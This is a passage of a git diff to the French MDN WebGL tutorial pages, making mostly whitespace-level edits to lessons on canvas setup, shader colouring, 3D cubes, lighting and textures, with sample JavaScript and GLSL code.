devons ajouter du code à notre fonction `drawScene()` pour dessiner le tampon des indices du cube, en ajoutant de nouveaux appels à {{domxref("WebGLRenderingContext.bindBuffer()", "gl.bindBuffer()")}} et {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} : +Ensuite, nous devons ajouter du code à notre fonction `drawScene()` pour dessiner le tampon des indices du cube, en ajoutant de nouveaux appels à {{domxref("WebGLRenderingContext.bindBuffer()", "gl.bindBuffer()")}} et {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} : // Indiquer à WebGL quels indices utiliser pour indexer les sommets gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, tampons.indices); @@ -157,16 +157,16 @@ Ensuite, nous devons ajouter du code à notre fonction `drawScene()` pour dessin gl.drawElements(gl.TRIANGLES, vertexCount, type, offset); } -Du fait que chaque face de notre cube est composée de deux triangles, il y a 6 sommets par côté, soit 36 sommets au total dans le cube, même si beaucoup d'entre eux sont des doublons. +Du fait que chaque face de notre cube est composée de deux triangles, il y a 6 sommets par côté, soit 36 sommets au total dans le cube, même si beaucoup d'entre eux sont des doublons. -Finalement, remplaçons notre variable `squareRotation` par `cubeRotation` et ajoutons une seconde rotation autour de l'axe des x : +Finalement, remplaçons notre variable `squareRotation` par `cubeRotation` et ajoutons une seconde rotation autour de l'axe des x : mat4.rotate(modelViewMatrix, modelViewMatrix, cubeRotation * .7, [0, 1, 0]); -À ce stade, nous avons un cube animé en rotation, ses six faces ayant des couleurs assez vives. +À ce stade, nous avons un cube animé en rotation, ses six faces ayant des couleurs assez vives. {{EmbedGHLiveSample('webgl-examples/tutorial/sample5/index.html', 670, 510) }} -[Voir le code complet](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample5) | [Ouvrir cette démo dans une nouvelle page](http://mdn.github.io/webgl-examples/tutorial/sample5/) +[Voir le code complet](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample5) | [Ouvrir cette démo dans une nouvelle page](http://mdn.github.io/webgl-examples/tutorial/sample5/) {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}} diff --git a/files/fr/web/api/webgl_api/tutorial/getting_started_with_webgl/index.md b/files/fr/web/api/webgl_api/tutorial/getting_started_with_webgl/index.md index 737b272fbe..42b8c9db22 100644 --- a/files/fr/web/api/webgl_api/tutorial/getting_started_with_webgl/index.md +++ b/files/fr/web/api/webgl_api/tutorial/getting_started_with_webgl/index.md @@ -7,25 +7,25 @@ tags: translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL original_slug: Web/API/WebGL_API/Tutorial/Commencer_avec_WebGL --- -{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Ajouter_du_contenu_à_WebGL")}}[WebGL](http://www.khronos.org/webgl/) permet à un contenu web d'utiliser l'API basée sur [OpenGL ES](http://www.khronos.org/opengles/) 2.0 pour effectuer un rendu 2D et 3D dans un [canvas](/fr/HTML/Canvas) dans les navigateurs qui le supportent, sans utilisation d'un module complémentaire. Les programmes WebGL sont constitués de code de contrôle écrit en JavaScript, et le code d'ombrage (GLSL) est exécuté dans l'Unité de Traitement Graphique (GPU) de l'ordinateur. Les éléments WebGL peuvent être mélangés avec d'autres éléments HTML, et composés d'autres parties de la page ou de l'arrière-plan de la page. +{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Ajouter_du_contenu_à_WebGL")}}[WebGL](http://www.khronos.org/webgl/) permet à un contenu web d'utiliser l'API basée sur [OpenGL ES](http://www.khronos.org/opengles/) 2.0 pour effectuer un rendu 2D et 3D dans un [canvas](/fr/HTML/Canvas) dans les navigateurs qui le supportent, sans utilisation d'un module complémentaire. Les programmes WebGL sont constitués de code de contrôle écrit en JavaScript, et le code d'ombrage (GLSL) est exécuté dans l'Unité de Traitement Graphique (GPU) de l'ordinateur. Les éléments WebGL peuvent être mélangés avec d'autres éléments HTML, et composés d'autres parties de la page ou de l'arrière-plan de la page. -Cet article va vous donner une introduction aux bases de l'utilisation de WebGL. Il est supposé que vous avez déjà une compréhension des mathématiques impliquées dans les graphismes 3D, et cet article ne prétend pas vous enseigner les concepts des graphismes 3D par eux-mêmes. +Cet article va vous donner une introduction aux bases de l'utilisation de WebGL. Il est supposé que vous avez déjà une compréhension des mathématiques impliquées dans les graphismes 3D, et cet article ne prétend pas vous enseigner les concepts des graphismes 3D par eux-mêmes. -Les exemples de code de ce tutoriel peuvent aussi être trouvés dans le [webgl-examples GitHub repository](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial). +Les exemples de code de ce tutoriel peuvent aussi être trouvés dans le [webgl-examples GitHub repository](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial). -## Préparation au rendu 3D +## Préparation au rendu 3D -La première chose dont vous avez besoin pour utiliser WebGL pour faire un rendu est un canvas. Le fragment d'HTML ci-dessous déclare un canvas dans lequel notre exemple se dessinera. +La première chose dont vous avez besoin pour utiliser WebGL pour faire un rendu est un canvas. Le fragment d'HTML ci-dessous déclare un canvas dans lequel notre exemple se dessinera. ```html <body> - <canvas id="glCanvas" width="640" height="480"></canvas> + <canvas id="glCanvas" width="640" height="480"></canvas> </body> ``` -### Préparation du contexte WebGL +### Préparation du contexte WebGL -La fonction `main()` dans notre code JavaScript est appelée quand notre script est chargé. Son but est de créer le contexte WebGL et de commencer à rendre du contenu. +La fonction `main()` dans notre code JavaScript est appelée quand notre script est chargé. Son but est de créer le contexte WebGL et de commencer à rendre du contenu. ```js main(); @@ -34,39 +34,39 @@ main(); // Début ici // function main() { - const canvas = document.querySelector("#glCanvas"); - // Initialisation du contexte WebGL - const gl = canvas.getContext("webgl"); + const canvas = document.querySelector("#glCanvas"); + // Initialisation du contexte WebGL + const gl = canvas.getContext("webgl"); - // Continuer seulement si WebGL est disponible et fonctionnel - if (!gl) { - alert("Impossible d'initialiser WebGL. Votre navigateur ou votre machine peut ne pas le supporter."); - return; - } + // Continuer seulement si WebGL est disponible et fonctionnel + if (!gl) { + alert("Impossible d'initialiser WebGL. Votre navigateur ou votre machine peut ne pas le supporter."); + return; + } // Définir la couleur d'effacement comme étant le noir, complètement opaque - gl.clearColor(0.0, 0.0, 0.0, 1.0); - // Effacer le tampon de couleur avec la couleur d'effacement spécifiée - gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT); + gl.clearColor(0.0, 0.0, 0.0, 1.0); + // Effacer le tampon de couleur avec la couleur d'effacement spécifiée + gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT); } ``` -La première chose que nous faisons ici est d'obtenir une référence au canvas, en l'affectant à une variable dénommée `canvas`. +La première chose que nous faisons ici est d'obtenir une référence au canvas, en l'affectant à une variable dénommée `canvas`. -Une fois que nous avons le canvas, nous essayons de lui obtenir un [WebGLRenderingContext](/fr-FR/docs/Web/API/WebGLRenderingContext), en appelant [getContext](/fr-FR/docs/Web/API/HTMLCanvasElement/getContext) et en lui passant la chaîne `"webgl"`. Si le navigateur ne supporte pas WebGL, `getContext` retournera `null`, auquel cas nous afficherons un message pour l'utilisateur, et nous sortirons. +Une fois que nous avons le canvas, nous essayons de lui obtenir un [WebGLRenderingContext](/fr-FR/docs/Web/API/WebGLRenderingContext), en appelant [getContext](/fr-FR/docs/Web/API/HTMLCanvasElement/getContext) et en lui passant la chaîne `"webgl"`. Si le navigateur ne supporte pas WebGL, `getContext` retournera `null`, auquel cas nous afficherons un message pour l'utilisateur, et nous sortirons. -Si le contexte est initialisé avec succès, la variable `gl` sera notre référence à celui-ci. Dans ce cas, nous définissons la couleur d'effacement comme étant le noir, et nous effaçons le contexte avec cette couleur (redessin du canvas avec la couleur d'arrière-plan). +Si le contexte est initialisé avec succès, la variable `gl` sera notre référence à celui-ci. Dans ce cas, nous définissons la couleur d'effacement comme étant le noir, et nous effaçons le contexte avec cette couleur (redessin du canvas avec la couleur d'arrière-plan). -A ce stade, votre code est suffisant pour que le contexte WebGL puisse s'initialiser avec succès, et vous devriez vous retrouver avec une grande boîte noire et vide, prête à - et attendant de - recevoir du contenu. +A ce stade, votre code est suffisant pour que le contexte WebGL puisse s'initialiser avec succès, et vous devriez vous retrouver avec une grande boîte noire et vide, prête à - et attendant de - recevoir du contenu. {{EmbedGHLiveSample('webgl-examples/tutorial/sample1/index.html', 670, 510) }} -[Voir le code complet](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample1) | [Ouvrir cette démo dans une nouvelle page](http://mdn.github.io/webgl-examples/tutorial/sample1/) +[Voir le code complet](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample1) | [Ouvrir cette démo dans une nouvelle page](http://mdn.github.io/webgl-examples/tutorial/sample1/) ## Voir aussi -- [An introduction to WebGL](https://dev.opera.com/articles/introduction-to-webgl-part-1/) : écrite par Luz Caballero, publiée sur dev.opera.com. Cet article traite de ce qu'est WebGL, explique comment WebGL fonctionne (incluant le concept de pipeline de rendu), et présente quelques bibliothèques WebGL. +- [An introduction to WebGL](https://dev.opera.com/articles/introduction-to-webgl-part-1/) : écrite par Luz Caballero, publiée sur dev.opera.com. Cet article traite de ce qu'est WebGL, explique comment WebGL fonctionne (incluant le concept de pipeline de rendu), et présente quelques bibliothèques WebGL. - [WebGL Fundamentals](http://webglfundamentals.org/) -- [An intro to modern OpenGL :](http://duriansoftware.com/joe/An-intro-to-modern-OpenGL.-Table-of-Contents.html) une série de bons articles sur OpenGL écrits par Joe Groff, fournissant une introduction claire à OpenGL, depuis son histoire jusqu'au concept important de pipeline de graphismes, qui comprend aussi quelques exemples montrant comment OpenGL fonctionne. Si vous n'avez aucune idée de ce qu'est OpenGL, c'est un bon endroit pour commencer. +- [An intro to modern OpenGL :](http://duriansoftware.com/joe/An-intro-to-modern-OpenGL.-Table-of-Contents.html) une série de bons articles sur OpenGL écrits par Joe Groff, fournissant une introduction claire à OpenGL, depuis son histoire jusqu'au concept important de pipeline de graphismes, qui comprend aussi quelques exemples montrant comment OpenGL fonctionne. Si vous n'avez aucune idée de ce qu'est OpenGL, c'est un bon endroit pour commencer. {{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}} diff --git a/files/fr/web/api/webgl_api/tutorial/index.md b/files/fr/web/api/webgl_api/tutorial/index.md index 520e336ac2..852ae42ef7 100644 --- a/files/fr/web/api/webgl_api/tutorial/index.md +++ b/files/fr/web/api/webgl_api/tutorial/index.md @@ -10,29 +10,29 @@ translation_of: Web/API/WebGL_API/Tutorial --- {{WebGLSidebar}} -[WebGL](http://www.khronos.org/webgl/) permet au contenu web d'utiliser une API basée sur [OpenGL ES](http://www.khronos.org/opengles/) 2.0 pour effectuer des rendus 3D dans un {{HTMLElement("canvas")}} HTML dans les navigateurs qui le supportent, sans avoir recours à des modules complémentaires. Les programmes WebGL sont constitués de code de contrôle rédigé en JavaScript, et de code d'effets spéciaux (code shader) qui est exécuté sur l'Unité de Traitement Graphique (GPU) d'un ordinateur. Les éléments WebGL peuvent être mélangés avec d'autres éléments HTML et composés avec d'autres parties de la page ou du fond de la page. +[WebGL](http://www.khronos.org/webgl/) permet au contenu web d'utiliser une API basée sur [OpenGL ES](http://www.khronos.org/opengles/) 2.0 pour effectuer des rendus 3D dans un {{HTMLElement("canvas")}} HTML dans les navigateurs qui le supportent, sans avoir recours à des modules complémentaires. Les programmes WebGL sont constitués de code de contrôle rédigé en JavaScript, et de code d'effets spéciaux (code shader) qui est exécuté sur l'Unité de Traitement Graphique (GPU) d'un ordinateur. Les éléments WebGL peuvent être mélangés avec d'autres éléments HTML et composés avec d'autres parties de la page ou du fond de la page. -Ce tutoriel décrit comment utiliser l'élément `<canvas>` pour dessiner des graphiques WebGL, en commençant par les bases. Les exemples suivants devraient vous donner des idées de ce que vous pouvez faire avec WebGL et vont vous fournir des fragments de code qui pourraient vous aider à construire votre propre contenu. +Ce tutoriel décrit comment utiliser l'élément `<canvas>` pour dessiner des graphiques WebGL, en commençant par les bases. Les exemples suivants devraient vous donner des idées de ce que vous pouvez faire avec WebGL et vont vous fournir des fragments de code qui pourraient vous aider à construire votre propre contenu. -## Avant que vous ne commenciez +## Avant que vous ne commenciez -L'utilisation de l'élément `<canvas>` n'est pas très difficile, mais vous avez besoin d'une compréhension de base de l'[HTML](/en-US/docs/Web/HTML) et du [JavaScript](/en-US/docs/Web/JavaScript). L'élément `<canvas>` et WebGL ne sont pas supportés par certains anciens navigateurs, mais ils sont supportés dans les versions récentes de tous les principaux navigateurs. Pour dessiner des graphiques sur le canevas, on utilise un objet de contexte Javascript, qui crée des graphiques à la volée. +L'utilisation de l'élément `<canvas>` n'est pas très difficile, mais vous avez besoin d'une compréhension de base de l'[HTML](/en-US/docs/Web/HTML) et du [JavaScript](/en-US/docs/Web/JavaScript). L'élément `<canvas>` et WebGL ne sont pas supportés par certains anciens navigateurs, mais ils sont supportés dans les versions récentes de tous les principaux navigateurs. Pour dessiner des graphiques sur le canevas, on utilise un objet de contexte Javascript, qui crée des graphiques à la volée. ## Dans ce tutoriel - [Commencer avec WebGL](/fr/docs/Web/API/WebGL_API/Tutorial/Commencer_avec_WebGL) - - : Comment mettre en place un contexte WebGL. + - : Comment mettre en place un contexte WebGL. - [Ajouter du contenu à WebGL](/fr/docs/Web/API/WebGL_API/Tutorial/Ajouter_du_contenu_à_WebGL) - - : Comment faire un rendu simple de figures planes avec WebGL. + - : Comment faire un rendu simple de figures planes avec WebGL. - [Ajouter des couleurs avec les nuanceurs](/fr/docs/Web/API/WebGL_API/Tutorial/Ajouter_des_couleurs_avec_les_shaders) - - : Démontre comment ajouter de la couleur aux formes avec des nuanceurs. -- [Animer des objets avec WebGL](/fr/docs/Web/API/WebGL_API/Tutorial/Animer_des_objets_avec_WebGL) - - : Montre comment tourner et déplacer des objets pour créer des animations simples. -- [Créer des objets 3D avec WebGL](/fr/docs/Web/API/WebGL_API/Tutorial/Creer_des_objets_3D_avec_WebGL) - - : Montre comment créer et animer un objet 3D (dans ce cas, un cube). + - : Démontre comment ajouter de la couleur aux formes avec des nuanceurs. +- [Animer des objets avec WebGL](/fr/docs/Web/API/WebGL_API/Tutorial/Animer_des_objets_avec_WebGL) + - : Montre comment tourner et déplacer des objets pour créer des animations simples. +- [Créer des objets 3D avec WebGL](/fr/docs/Web/API/WebGL_API/Tutorial/Creer_des_objets_3D_avec_WebGL) + - : Montre comment créer et animer un objet 3D (dans ce cas, un cube). - [Utilisation des textures en WebGL](/fr/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL) - - : Démontrer comment appliquer des textures sur les faces d'un objet. + - : Démontrer comment appliquer des textures sur les faces d'un objet. - [Éclairage en WebGL](/fr/docs/Web/API/WebGL_API/Tutorial/Eclairage_en_WebGL) - - : Comment simuler des effets d'illumination dans votre contexte WebGL. -- [Animation de textures en WebGL](/fr/docs/Web/API/WebGL_API/Tutorial/Animation_de_textures_en_WebGL) - - : Montre comment animer des textures ; dans ce cas, en appliquant une vidéo Ogg sur les faces d'un cube en rotation. + - : Comment simuler des effets d'illumination dans votre contexte WebGL. +- [Animation de textures en WebGL](/fr/docs/Web/API/WebGL_API/Tutorial/Animation_de_textures_en_WebGL) + - : Montre comment animer des textures ; dans ce cas, en appliquant une vidéo Ogg sur les faces d'un cube en rotation. diff --git a/files/fr/web/api/webgl_api/tutorial/lighting_in_webgl/index.md b/files/fr/web/api/webgl_api/tutorial/lighting_in_webgl/index.md index b1a843894d..7ec788e459 100644 --- a/files/fr/web/api/webgl_api/tutorial/lighting_in_webgl/index.md +++ b/files/fr/web/api/webgl_api/tutorial/lighting_in_webgl/index.md @@ -10,22 +10,22 @@ La première chose à comprendre à propos de WebGL est que contrairement au sta ## Simuler l'éclairage et les ombres en 3D -Rentrer dans les détails de la théorie derrière la simulation de l'éclairage 3D est assez loin du sujet de cet article mais il vaut mieux en connaitre un minimum le sujet. Au lieu de rentrer dans le vif du sujet ici, jetez un coup d'oeil sur [l'ombrage de Phong](https://fr.wikipedia.org/wiki/Ombrage_de_Phong) sur Wikipédia, qui fourni une bonne vue d'ensemble comme modèle d'éclairage. +Rentrer dans les détails de la théorie derrière la simulation de l'éclairage 3D est assez loin du sujet de cet article mais il vaut mieux en connaitre un minimum le sujet. Au lieu de rentrer dans le vif du sujet ici, jetez un coup d'oeil sur [l'ombrage de Phong](https://fr.wikipedia.org/wiki/Ombrage_de_Phong) sur Wikipédia, qui fourni une bonne vue d'ensemble comme modèle d'éclairage. Il y a trois types basiques d'éclairage : -1. **Ambient light (Lumière Ambiante)** est la lumière qui imprègne, qui se répand sur la scène. Elle n'a pas de direction et s'applique sur toutes les faces de la scène de la même façon. -2. **Directional light (Lumière Directionnelle)** est une lumière émise depuis une direction spécifique. Par exemple le soleil, est une lumière directionnelle. -3. **Point light** **(Point de lumière)** est une lumière émise depuis un point, éméttant une lumière dans toutes les directions, contrairement à la Lumière Directionnelle. C'est comme ceci que les lumières fonctionnent principalement dans notre monde, comme par exemple une ampoule. +1. **Ambient light (Lumière Ambiante)** est la lumière qui imprègne, qui se répand sur la scène. Elle n'a pas de direction et s'applique sur toutes les faces de la scène de la même façon. +2. **Directional light (Lumière Directionnelle)** est une lumière émise depuis une direction spécifique. Par exemple le soleil, est une lumière directionnelle. +3. **Point light** **(Point de lumière)** est une lumière émise depuis un point, éméttant une lumière dans toutes les directions, contrairement à la Lumière Directionnelle. C'est comme ceci que les lumières fonctionnent principalement dans notre monde, comme par exemple une ampoule. Pour notre tutorial, nous allons simplifier le model d'éclairage, en considérant seulement une unique lumière directionnelle et une lumière ambiante. Nous allons réutiliser notre [précédent exemple avec le cube en rotation](/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL). -Une fois que nous avons appréhendé le concept de source et de réfléction de la lumière, il y a deux choses que nous avons besoin d'implémenter pour nos lumières directionnelles. +Une fois que nous avons appréhendé le concept de source et de réfléction de la lumière, il y a deux choses que nous avons besoin d'implémenter pour nos lumières directionnelles. 1. Nous avons besoin d'associer la **surface normale** avec chaque sommet. C'est un vecteur qui est perpendiculaire à la face associé à ce sommet. 2. Nous avons besoin de connaître la direction dans laquelle la lumière arrive. Ceci est défini par la direction du vecteur. -Puis nous mettons à jour le vertex shader pour ajuster la couleur de chaque sommet. en prenant en compte la lumière ambiante ainsi que l'effet de la lumière directionnelle donné par l'angle qui rencontre la face du cube. Nous allons voir comment faire avec les shaders. +Puis nous mettons à jour le vertex shader pour ajuster la couleur de chaque sommet. en prenant en compte la lumière ambiante ainsi que l'effet de la lumière directionnelle donné par l'angle qui rencontre la face du cube. Nous allons voir comment faire avec les shaders. ## Créer les normales pour les sommets @@ -76,7 +76,7 @@ var vertexNormals = [ gl.bufferData(gl.ARRAY_BUFFER, new WebGLFloatArray(vertexNormals), gl.STATIC_DRAW); ``` -Ceci doit vous être plutôt familier maintenant. Nous créons un nouveau buffer, on le lie avec le tableau sur lequel nous allons travailler, puis nous allons envoyer l'ensemble de notre tableau au buffer en appelant la méthode `bufferData()`. +Ceci doit vous être plutôt familier maintenant. Nous créons un nouveau buffer, on le lie avec le tableau sur lequel nous allons travailler, puis nous allons envoyer l'ensemble de notre tableau au buffer en appelant la méthode `bufferData()`. Ensuite nous allons ajouter le code à la fonction `drawScene()` pour attacher le tableau de normales à l'attribut du shader, comme ça le code du shader y aura accès : @@ -133,11 +133,11 @@ La première chose à faire est de mettre à jour le vertex shader en générant </script> ``` -Une fois que la position du sommet est calculée, et que nous obtenons les coordonnées des texels (tas de pixel pour une texture) correspondant au sommet, nous pouvons travailler sur le calcul de l'ombre de chaque sommet. +Une fois que la position du sommet est calculée, et que nous obtenons les coordonnées des texels (tas de pixel pour une texture) correspondant au sommet, nous pouvons travailler sur le calcul de l'ombre de chaque sommet. La première chose que nous allons faire est de transformer la base normale sur la position actuelle et l'orientation du cube, en calculant les normales des sommets par la matrice normale. Nous pouvons alors calculer la quantité d'éclairage qui doit être appliquée au sommet en calculant le produit de la normale transformée et du vecteur directionnel (la direction d'où la lumière vient). Si le résultat est inférieur à zéro, alors on le met à 0. Car une lumière négative n'a pas de sens dans notre cas. -Une fois la quantité de lumière directionnelle calculée, nous pouvons générer la valeur d'éclairage en prenant l'éclairage ambiant et en y ajoutant le produit de la couleur de la lumière directionnelle, et aussi la quantité de la lumière directionnelle à fournir. Comme résultat, nous avons maintenant une valeur RGB qui sera utilisé par le fragment shader pour ajuster la couleur de chaque pixel. +Une fois la quantité de lumière directionnelle calculée, nous pouvons générer la valeur d'éclairage en prenant l'éclairage ambiant et en y ajoutant le produit de la couleur de la lumière directionnelle, et aussi la quantité de la lumière directionnelle à fournir. Comme résultat, nous avons maintenant une valeur RGB qui sera utilisé par le fragment shader pour ajuster la couleur de chaque pixel. ### Le fragment shader @@ -158,7 +158,7 @@ Le fragment shader a maintenant besoin d'être mis à jour en prenant en compte </script> ``` -Ici nous récupérons la couleur de chaque texel (tas de pixel pour une texture) , comme nous avons fait pour l'exemple précédent, mais avant d'ajuster la couleur du fragment, nous multiplions la couleur des pixels par la quantité de lumière, pour appliquer l'effet d'éclairage. +Ici nous récupérons la couleur de chaque texel (tas de pixel pour une texture) , comme nous avons fait pour l'exemple précédent, mais avant d'ajuster la couleur du fragment, nous multiplions la couleur des pixels par la quantité de lumière, pour appliquer l'effet d'éclairage. Et c'est tout ! @@ -166,11 +166,11 @@ Et c'est tout ! {{EmbedGHLiveSample('webgl-examples/tutorial/sample7/index.html', 670, 510) }} -[Voir le code complet](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample7) | [Ouvrir cette démo dans une nouvelle page](http://mdn.github.io/webgl-examples/tutorial/sample7/) +[Voir le code complet](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample7) | [Ouvrir cette démo dans une nouvelle page](http://mdn.github.io/webgl-examples/tutorial/sample7/) ## Exercices -Évidemment, ceci est un simple exemple, une implémentation basique de calcul de lumière par sommet. Pour aller plus loin, nous voulons implémenter un calcul de lumière par pixel, mais ceci vous mènera dans la bonne direction. +Évidemment, ceci est un simple exemple, une implémentation basique de calcul de lumière par sommet. Pour aller plus loin, nous voulons implémenter un calcul de lumière par pixel, mais ceci vous mènera dans la bonne direction. Vous pouvez aussi implémenter avec la direction de source de lumière, la couleur de la source, la distance, etc.. diff --git a/files/fr/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.md b/files/fr/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.md index 8b0ab94f97..239c6364e4 100644 --- a/files/fr/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.md +++ b/files/fr/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.md @@ -9,13 +9,13 @@ original_slug: Web/API/WebGL_API/Tutorial/Ajouter_des_couleurs_avec_les_shaders --- {{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}} -Dans la [démonstration précédente](/fr/docs/WebGL/Ajouter_du_contenu_à_WebGL), nous avons créé un carré 2D, la prochaine étape évidente consiste à lui appliquer de la couleur. Nous allons faire cela en révisant les nuanceurs. +Dans la [démonstration précédente](/fr/docs/WebGL/Ajouter_du_contenu_à_WebGL), nous avons créé un carré 2D, la prochaine étape évidente consiste à lui appliquer de la couleur. Nous allons faire cela en révisant les nuanceurs. -## Application de couleur aux sommets +## Application de couleur aux sommets -En WebGL, les objets sont construits en utilisant des sommets, chacun d'entre eux ayant une position et une couleur ; par défaut, les couleurs des autres sommets (et tous leurs autres attributs, incluant leur position) sont calculés en utilisant une interpolation linéaire, créant ainsi automatiquement des dégradés. Précédemment, notre nuanceur de sommet n'appliquait aucunes couleurs spécifiques aux sommets ; entre cela et le fait que le nuanceur de fragment assignait la valeur blanche à chaque pixel, le carré entier était rendu en blanc uni. +En WebGL, les objets sont construits en utilisant des sommets, chacun d'entre eux ayant une position et une couleur ; par défaut, les couleurs des autres sommets (et tous leurs autres attributs, incluant leur position) sont calculés en utilisant une interpolation linéaire, créant ainsi automatiquement des dégradés. Précédemment, notre nuanceur de sommet n'appliquait aucunes couleurs spécifiques aux sommets ; entre cela et le fait que le nuanceur de fragment assignait la valeur blanche à chaque pixel, le carré entier était rendu en blanc uni. -Supposons que nous voulions faire un rendu en dégradé dans lequel chaque coin du carré est de couleur différente : rouge, bleu, vert et blanc. La première chose à faire est de définir ces couleurs pour les quatre sommets. Pour ce faire, nous devons d'abord créer un tableau des couleurs des sommets, puis le stocker dans un tampon WebGL ; nous le ferons en ajoutant le code suivant à notre fonction `initBuffers()` : +Supposons que nous voulions faire un rendu en dégradé dans lequel chaque coin du carré est de couleur différente : rouge, bleu, vert et blanc. La première chose à faire est de définir ces couleurs pour les quatre sommets. Pour ce faire, nous devons d'abord créer un tableau des couleurs des sommets, puis le stocker dans un tampon WebGL ; nous le ferons en ajoutant le code suivant à notre fonction `initBuffers()` : const colors = [ 1.0, 1.0, 1.0, 1.0, // blanc @@ -34,7 +34,7 @@ Supposons que nous voulions faire un rendu en dégradé dans lequel chaque co }; } -Ce code commence par créer un tableau JavaScript contenant des vecteurs à 4 valeurs, un pour chaque couleur de sommet. Un tampon WebGL est alors alloué pour stocker ces couleurs, et le tableau est converti en flottants et stocké dans le tampon. +Ce code commence par créer un tableau JavaScript contenant des vecteurs à 4 valeurs, un pour chaque couleur de sommet. Un tampon WebGL est alors alloué pour stocker ces couleurs, et le tableau est converti en flottants et stocké dans le tampon. Pour que ces couleurs soient effectivement utilisées, le nuanceur de sommet doit être mis à jour pour extraire la couleur appropriée du tampon des couleurs : @@ -55,7 +55,7 @@ Pour que ces couleurs soient effectivement utilisées, le nuanceur de sommet doi La différence clé est ici que, pour chaque sommet, nous passons sa couleur au nuanceur de fragment en utilisant un `varying`. -## Coloriage des fragments +## Coloriage des fragments Pour mémoire, voici à quoi ressemblait précédemment notre nuanceur de fragment : @@ -65,7 +65,7 @@ Pour mémoire, voici à quoi ressemblait précédemment notre nuanceur de fragme } `; -Afin de choisir la couleur interpolée pour chaque pixel, nous devons le changer pour récupérer la valeur depuis le varying `vColor` : +Afin de choisir la couleur interpolée pour chaque pixel, nous devons le changer pour récupérer la valeur depuis le varying `vColor` : const fsSource = ` varying lowp vec4 vColor; @@ -77,9 +77,9 @@ Afin de choisir la couleur interpolée pour chaque pixel, nous devons le change La principale différence ici c'est que pour chaque sommet, on assigne la valeur correspondant à sa couleur dans le tableau. -## Dessiner en utilisant les couleurs +## Dessiner en utilisant les couleurs -Ensuite, il est nécessaire d'ajouter le code recherchant les couleurs dans l'emplacement de l'attribut, et de configurer cet attribut pour le programme nuanceur : +Ensuite, il est nécessaire d'ajouter le code recherchant les couleurs dans l'emplacement de l'attribut, et de configurer cet attribut pour le programme nuanceur : const programInfo = { program: shaderProgram, @@ -113,6 +113,6 @@ Ensuite, `drawScene()` peut être modifié pour utiliser réellement ces couleur {{EmbedGHLiveSample('webgl-examples/tutorial/sample3/index.html', 670, 510) }} -[Voir le code complet](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample3) | [Ouvrir cette démo dans une nouvelle page](http://mdn.github.io/webgl-examples/tutorial/sample3/) +[Voir le code complet](https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample3) | [Ouvrir cette démo dans une nouvelle page](http://mdn.github.io/webgl-examples/tutorial/sample3/) {{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}} diff --git a/files/fr/web/api/webgl_api/tutorial/using_textures_in_webgl/index.md b/files/fr/web/api/webgl_api/tutorial/using_textures_in_webgl/index.md index 330163b207..24a8e984c8 100644 --- a/files/fr/web/api/webgl_api/tutorial/using_textures_in_webgl/index.md +++ b/files/fr/web/api/webgl_api/tutorial/using_textures_in_webgl/index.md @@ -9,15 +9,15 @@ original_slug: Web/API/WebGL_API/Tutorial/Utiliser_les_textures_avec_WebGL --- {{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}} -Maintenant que notre programme peut faire tourner un cube 3D, appliquons lui une texture, au lieu d'avoir des couleurs unies pour ses faces. +Maintenant que notre programme peut faire tourner un cube 3D, appliquons lui une texture, au lieu d'avoir des couleurs unies pour ses faces. -## Chargement des textures +## Chargement des textures -La première chose à faire est d'ajouter le code pour charger les textures. Dans notre cas, nous utiliserons une texture unique, appliquée à chacune des six faces de notre cube en rotation ; mais la même technique peut être utilisée un nombre quelconque de textures. +La première chose à faire est d'ajouter le code pour charger les textures. Dans notre cas, nous utiliserons une texture unique, appliquée à chacune des six faces de notre cube en rotation ; mais la même technique peut être utilisée un nombre quelconque de textures. -> **Note :** il est important de noter que le chargement des textures suit les [règles inter-domaines](/fr-FR/docs/Web/HTTP/CORS) ; donc vous pouvez seulement charger des textures depuis les sites pour lesquels votre contenu a l'approbation CORS. Voir les textures inter-domaines ci-dessous pour plus de détails. +> **Note :** il est important de noter que le chargement des textures suit les [règles inter-domaines](/fr-FR/docs/Web/HTTP/CORS) ; donc vous pouvez seulement charger des textures depuis les sites pour lesquels votre contenu a l'approbation CORS. Voir les textures inter-domaines ci-dessous pour plus de détails. -Le code qui charge la texture ressemble à ce qui suit : +Le code qui charge la texture ressemble à ce qui suit : // // Initialiser une texture et charger une image. @@ -52,13 +52,13 @@ Le code qui charge la texture ressemble à ce qui suit : // WebGL1 a des spécifications différentes pour les images puissances de 